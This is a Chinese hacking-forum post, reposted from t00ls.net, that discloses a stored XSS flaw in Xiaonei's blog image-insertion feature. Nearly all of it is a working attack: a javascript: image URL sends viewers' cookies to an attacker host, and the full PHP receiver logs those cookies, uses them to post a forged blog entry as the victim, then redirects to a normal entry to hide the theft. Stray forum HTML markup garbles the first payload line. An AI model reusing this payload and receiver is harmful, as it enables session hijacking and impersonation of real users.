校内网最新 xss Cookies得到密码

from:http://t00ls.net/viewthread.php?tid=1323&highlight=

校内网在发blog时对插入图片过滤不严格，存在xss漏洞.

在发blog时将插入图片url写为如下代码即可触发：普通浏览复制代码打印代码
javascript:window.location.href='http://www.xxx.com/test.<span class=t_tag xxxxx=tagshow(event) href="tag.php?name=php">php</span>?cookie='+document.cookie

javascript:window.location.href='http://www.xxx.com/test.php?cookie='+document.cookie test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下:普通浏览复制代码打印代码
<?php
ob_start();
$url = 'blog.xiaonei.com';
$cookie=$_get['cookie'];
$cookie1=$cookie."\r\n\r\n";
fputs(fopen('a.txt','a+'),$cookie1); //cookie写入 a.txt
//发一条伪造的日志，这条日志里面也可以插入恶意代码
$sock = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");
$data = "title=test by fly&body=test by fly&categoryid=0&blogcontrol=99&passwordprotedted=0&password=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=";
fwrite($sock, "post http://$url/newentry.do http/1.1\r\n");
fwrite($sock, "accept: */*\r\n");
fwrite($sock, "referer: http://$url\r\n");
fwrite($sock, "accept-language: zh-cn\r\n");
fwrite($sock, "content-type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "accept-encoding: gzip, deflate\r\n");
fwrite($sock, "user-agent: mozilla\r\n");
fwrite($sock, "host: $url\r\n");
fwrite($sock, "content-length: ".strlen($data)."\r\n");
fwrite($sock, "connection: keep-alive\r\n");
fwrite($sock, "cache-control: no-cache\r\n");
fwrite($sock, "cookie:".$cookie."\r\n\r\n");
fwrite($sock, $data);
$headers = "";
while ($str = trim(fgets($sock, 4096)))
$headers .= "$str\n";
echo "\n";
$body = "";
while (!feof($sock))
$body .= fgets($sock, 4096);
fclose($sock);
//echo $body;
//跳转到一个正常的日志
header("location: http://blog.xiaonei.com/getentry.do?id=xxxx&owner=xxxxx");
ob_end_flush();
?>